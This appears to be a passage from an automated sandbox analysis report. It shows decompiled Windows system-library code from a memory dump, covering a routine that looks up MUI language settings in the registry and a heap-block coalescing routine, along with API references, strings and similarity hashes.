Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$Heap$AllocateFreeLoadPolicyRtlpUser
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 3016148903-3532704233
Opcode ID: 136558b047f1b3300890cfbe28d3733a49536ff0f3e59c2549355a41360b6cd8
Instruction ID: 0e19b6b3dcbe1c96395ce7edbaaefcc93b020c4238948fc7687533d522244bc5
Opcode Fuzzy Hash: 136558b047f1b3300890cfbe28d3733a49536ff0f3e59c2549355a41360b6cd8
Instruction Fuzzy Hash: D7C16C7250C3599FD761CF28C480A6BB7E8AF89758F62492EF894D7240DB70DD48CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A91E9ED, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 258
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6A91E9ED(void* __ecx, void** __edx, intOrPtr _a4) {
				char _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				void* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v108;
				signed int _v112;
				char _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				signed int _v128;
				char _v132;
				void* _v136;
				void* _v140;
				signed int _v144;
				void* _v148;
				signed int _v152;
				char _v153;
				signed int _v160;
				char _v168;
				void* _v169;
				signed int _v176;
				void* _v180;
				void* _v181;
				signed int _v184;
				void* _v188;
				void* _v192;
				void* _v196;
				void* _v204;
				void* _v212;
				intOrPtr _t110;
				void* _t114;
				void* _t134;
				void* _t145;
				void* _t156;
				void* _t158;
				void* _t160;
				intOrPtr _t161;
				void** _t177;
				void* _t180;
				char _t182;
				signed int _t183;
				void* _t185;

				_t185 = (_t183 & 0xfffffff8) - 0x9c;
				_t158 = __ecx;
				_t177 = __edx;
				_v128 = 0;
				_v160 = 0;
				_v144 = 0;
				_v152 = 0;
				if(__edx == 0 || _a4 == 0) {
					_t180 = 0xc000000d;
					goto L11;
				} else {
					_v128 =  *((intOrPtr*)(__edx));
					RtlInitUnicodeString( &_v140, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
					_t182 = 0x18;
					_v132 = _t182;
					_v124 =  &_v148;
					_t166 = 0;
					_v168 = 0;
					_push( &_v132);
					_push(0x20019);
					_v128 = 0;
					_push( &_v168);
					_v120 = 0x40;
					_v116 = 0;
					_v112 = 0;
					if(E6A959600() >= 0) {
						_t166 = _v168;
						_t180 = E6A9CD208(_v168, _a4,  &_v153,  &_v140);
						__eflags = _t180;
						if(_t180 >= 0) {
							L11:
							if(_v160 != 0) {
								_push(_v160);
								E6A9595D0();
							}
							if(_v144 != 0) {
								_push(_v144);
								E6A9595D0();
							}
							_t110 = _v152;
							if(_t110 != 0 && _t110 != 0xffffffff) {
								 *0x6a8f6cc4(_t110);
							}
							if(_t180 < 0) {
								__eflags = _t177;
								if(_t177 == 0) {
									goto L19;
								}
								_t160 = _v128;
								__eflags =  *_t177 - _t160;
								if( *_t177 == _t160) {
									goto L19;
								}
								__eflags =  *_t177;
								if( *_t177 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *_t177);
								}
								goto L46;
							} else {
								if( *_t177 == 0) {
									_t114 = E6A91F2F0(1);
									 *_t177 = _t114;
									__eflags = _t114;
									if(_t114 != 0) {
										goto L19;
									}
									_t160 = _v128;
									_t180 = 0xc0000017;
									L46:
									 *_t177 = _t160;
								}
								L19:
								return _t180;
							}
						}
						__eflags = _t158 - 8;
						if(_t158 == 8) {
							_t166 = _v168;
							 *((char*)(_t185 + 0x13)) = 0;
							_t156 = E6A9CD191(_v168, _t185 + 0x13);
							__eflags = _t156;
							if(_t156 == 0) {
								__eflags =  *((char*)(_t185 + 0x13)) - 1;
								if( *((char*)(_t185 + 0x13)) == 1) {
									_t158 = 4;
								}
							}
						}
						_push(_v168);
						E6A9595D0();
						 *(_t185 + 0xc) =  *(_t185 + 0xc) & 0x00000000;
						_t182 = 0x18;
					}
					if(E6A91F108(0, _t166, _t166,  &_v160) < 0) {
						_v160 = _v160 & 0x00000000;
					}
					if(_t158 == 8) {
						__eflags = _v160;
						if(_v160 == 0) {
							goto L36;
						}
						RtlInitUnicodeString( &_v148, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
						_v160 = _v160 & 0x00000000;
						 *(_t185 + 0x58) =  *(_t185 + 0x58) & 0x00000000;
						 *(_t185 + 0x5c) =  *(_t185 + 0x5c) & 0x00000000;
						_v112 = _v168;
						_t161 = 0x40;
						_v108 = _t185 + 0x20;
						_push( &_v116);
						_push(0x20019);
						_v116 = _t182;
						_push( &_v160);
						 *((intOrPtr*)(_t185 + 0x60)) = _t161;
						_t134 = E6A959600();
						__eflags = _t134;
						if(_t134 >= 0) {
							_t180 = E6A9CD208(_v160, _a4, _t185 + 0x1f,  &_v148);
							__eflags = _t180;
							if(_t180 >= 0) {
								goto L11;
							}
							_t182 = 0x18;
						}
						RtlInitUnicodeString(_t185 + 0x24, L"Control Panel\\Desktop\\LanguageConfiguration");
						_v184 = _v184 & 0x00000000;
						_v84 = _v84 & 0x00000000;
						_v80 = _v80 & 0x00000000;
						 *((intOrPtr*)(_t185 + 0x64)) = _v176;
						 *((intOrPtr*)(_t185 + 0x68)) = _t185 + 0x20;
						_push(_t185 + 0x60);
						_push(0x20019);
						 *((intOrPtr*)(_t185 + 0x68)) = _t182;
						_push( &_v184);
						_v88 = _t161;
						_t180 = E6A959600();
						__eflags = _t180;
						if(_t180 >= 0) {
							goto L10;
						}
						__eflags = _t180 - 0xc0000034;
						goto L35;
					} else {
						if(_t158 != 4) {
							L10:
							_t180 = E6A91F1E4(_v184, _t177, _a4);
							goto L11;
						}
						if(_v160 == 0) {
							_t145 = 0xc0000034;
						} else {
							RtlInitUnicodeString( &_v148, L"Control Panel\\Desktop\\MuiCached\\MachineLanguageConfiguration");
							_v176 = _v176 & 0x00000000;
							_v52 = _v52 & 0x00000000;
							_v48 = _v48 & 0x00000000;
							_v64 = _v168;
							_v60 = _t185 + 0x20;
							_push( &_v68);
							_push(0x20019);
							_v68 = _t182;
							_push( &_v176);
							_v56 = 0x40;
							_t145 = E6A959600();
						}
						if(_t145 < 0) {
							RtlInitUnicodeString( &_v148, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings\\LanguageConfiguration");
							_v176 = _v176 & 0x00000000;
							 *(_t185 + 0x94) =  *(_t185 + 0x94) & 0x00000000;
							 *(_t185 + 0xa0) =  *(_t185 + 0xa0) & 0x00000000;
							 *(_t185 + 0xa4) =  *(_t185 + 0xa4) & 0x00000000;
							 *((intOrPtr*)(_t185 + 0x98)) = _t185 + 0x20;
							_push( &_v44);
							_push(0x20019);
							_v44 = _t182;
							_push( &_v176);
							 *((intOrPtr*)(_t185 + 0xa8)) = 0x40;
							_t180 = E6A959600();
							if(_t180 < 0) {
								__eflags = _t180 - 0xc0000034;
								L35:
								if(__eflags != 0) {
									goto L11;
								}
								L36:
								_t180 = 0;
								goto L11;
							}
						}
						goto L10;
					}
				}
			}

0x6a91e9f5
0x6a91e9ff
0x6a91ea02
0x6a91ea04
0x6a91ea08
0x6a91ea0c
0x6a91ea10
0x6a91ea16
0x6a975857
0x00000000
0x6a91ea25
0x6a91ea27
0x6a91ea35
0x6a91ea3c
0x6a91ea41
0x6a91ea45
0x6a91ea49
0x6a91ea4f
0x6a91ea53
0x6a91ea54
0x6a91ea5d
0x6a91ea61
0x6a91ea62
0x6a91ea6a
0x6a91ea6e
0x6a91ea79
0x6a9757b3
0x6a9757c2
0x6a9757c4
0x6a9757c6
0x6a91eb97
0x6a91eb9c
0x6a91eb9e
0x6a91eba2
0x6a91eba2
0x6a91ebac
0x6a975861
0x6a975865
0x6a975865
0x6a91ebb2
0x6a91ebb8
0x6a91ebc0
0x6a91ebc0
0x6a91ebc8
0x6a97586f
0x6a975871
0x00000000
0x00000000
0x6a975877
0x6a97587b
0x6a97587d
0x00000000
0x00000000
0x6a975883
0x6a975886
0x6a975895
0x6a975895
0x00000000
0x6a91ebce
0x6a91ebd1
0x6a97589f
0x6a9758a4
0x6a9758a6
0x6a9758a8
0x00000000
0x00000000
0x6a9758ae
0x6a9758b2
0x6a9758b7
0x6a9758b7
0x6a9758b7
0x6a91ebd7
0x6a91ebdf
0x6a91ebdf
0x6a91ebc8
0x6a9757cc
0x6a9757cf
0x6a9757d1
0x6a9757d9
0x6a9757de
0x6a9757e3
0x6a9757e5
0x6a9757e7
0x6a9757ec
0x6a9757f0
0x6a9757f0
0x6a9757ec
0x6a9757e5
0x6a9757f1
0x6a9757f5
0x6a9757fa
0x6a975801
0x6a975801
0x6a91ea94
0x6a975807
0x6a975807
0x6a91ea9d
0x6a91ebe2
0x6a91ebe7
0x00000000
0x00000000
0x6a91ebf7
0x6a91ec00
0x6a91ec05
0x6a91ec0a
0x6a91ec0f
0x6a91ec19
0x6a91ec1a
0x6a91ec22
0x6a91ec23
0x6a91ec2c
0x6a91ec30
0x6a91ec31
0x6a91ec35
0x6a91ec3a
0x6a91ec3c
0x6a975827
0x6a975829
0x6a97582b
0x00000000
0x00000000
0x6a975833
0x6a975833
0x6a91ec4c
0x6a91ec55
0x6a91ec5a
0x6a91ec5f
0x6a91ec64
0x6a91ec6c
0x6a91ec74
0x6a91ec75
0x6a91ec7e
0x6a91ec82
0x6a91ec83
0x6a91ec8c
0x6a91ec8e
0x6a91ec90
0x00000000
0x00000000
0x6a975839
0x00000000
0x6a91eaa3
0x6a91eaa6
0x6a91eb87
0x6a91eb95
0x00000000
0x6a91eb95
0x6a91eab6
0x6a975850
0x6a91eabc
0x6a91eac6
0x6a91eacf
0x6a91ead4
0x6a91eadc
0x6a91eae4
0x6a91eaec
0x6a91eaf7
0x6a91eaf8
0x6a91eb01
0x6a91eb08
0x6a91eb09
0x6a91eb14
0x6a91eb14
0x6a91eb1b
0x6a91eb27
0x6a91eb2c
0x6a91eb35
0x6a91eb3d
0x6a91eb45
0x6a91eb4d
0x6a91eb5b
0x6a91eb5c
0x6a91eb65
0x6a91eb6c
0x6a91eb6d
0x6a91eb7d
0x6a91eb81
0x6a975841
0x6a975843
0x6a975843
0x00000000
0x00000000
0x6a975849
0x6a975849
0x00000000
0x6a975849
0x6a91eb81
0x00000000
0x6a91eb1b
0x6a91ea9d

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,6AA066C0,0000EEEE,00000002), ref: 6A91EA35
ZwOpenKey.1105 ref: 6A91EA72

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

ZwClose.1105(6AA066C0,?,?), ref: 6A9757F5

Part of subcall function 6A91F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6A9CCFA7,?,?,?), ref: 6A91F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached\MachineLanguageConfiguration,?,?,?), ref: 6A91EAC6
ZwOpenKey.1105(00000000,00020019,?,?,?,?,?,?,?,?,?,?,?,?,?,Control Panel\Desktop\MuiCached\MachineLanguageConfiguration), ref: 6A91EB14
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration,00000000,00020019,?), ref: 6A91EB27
ZwOpenKey.1105(00000000,00020019,00000040,?,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration,00000000,00020019,?), ref: 6A91EB78
ZwClose.1105(00000000,?,?), ref: 6A91EBA2
ZwClose.1105(?,?,?), ref: 6A91EBC0
RtlInitUnicodeString.1105(?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6A91EBF7
ZwOpenKey.1105(?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6A91EC35
RtlInitUnicodeString.1105(?,Control Panel\Desktop\LanguageConfiguration,?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6A91EC4C
ZwOpenKey.1105(00000000,00020019,?,?,Control Panel\Desktop\LanguageConfiguration,?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6A91EC87
ZwClose.1105(00000000,?,?), ref: 6A975865
RtlFreeHeap.1105(?,00000000,6A9271B4,?,?), ref: 6A975895

Strings

Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 6A91EBED
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 6A91EB1D
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 6A91EABC
@, xrefs: 6A91EA62
Control Panel\Desktop\LanguageConfiguration, xrefs: 6A91EC42
@, xrefs: 6A91EB09
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6A91EA2F
@, xrefs: 6A91EB6D

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$InitStringUnicode$Close$CurrentFreeHeapInitializeThunkUser
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 2369473089-1356375266
Opcode ID: a8eb4b2615a8819d7bed6fb4972e80b29ae0b7ad3b6f5e560aba6430d9a1e94d
Instruction ID: 8ed08030138e63728ed8e46aad7cee19910d23d57b2d34327dd2b299d74bc477
Opcode Fuzzy Hash: a8eb4b2615a8819d7bed6fb4972e80b29ae0b7ad3b6f5e560aba6430d9a1e94d
Instruction Fuzzy Hash: 8EA17BB150C3499FE360CF25C484BABB7E8BF84719F21492EF59996241EB74D908CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6A9399BF, Relevance: 33.8, APIs: 16, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E6A9399BF(signed int __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				signed int _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E6A9CFA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E6A9DA80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E6A96D540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E6A91B150();
										} else {
											E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x6aa06378 = 1;
											asm("int3");
											 *0x6aa06378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E6A93A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								E6A93A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E6A93BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E6A9DA80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E6A93A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								E6A93A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E6A96D540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x6aa06378 = 1;
									asm("int3");
									 *0x6aa06378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E6A9CFA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E6A9DA80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E6A96D540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E6A91B150();
													} else {
														E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x6aa06378 = 1;
														asm("int3");
														 *0x6aa06378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E6A93A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										E6A93A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E6A93BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E6A9DA80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E6A96D540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E6A91B150();
													} else {
														E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x6aa06378 = 1;
														asm("int3");
														 *0x6aa06378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E6A93A229(_t307, _t414);
										__eflags = _t232;
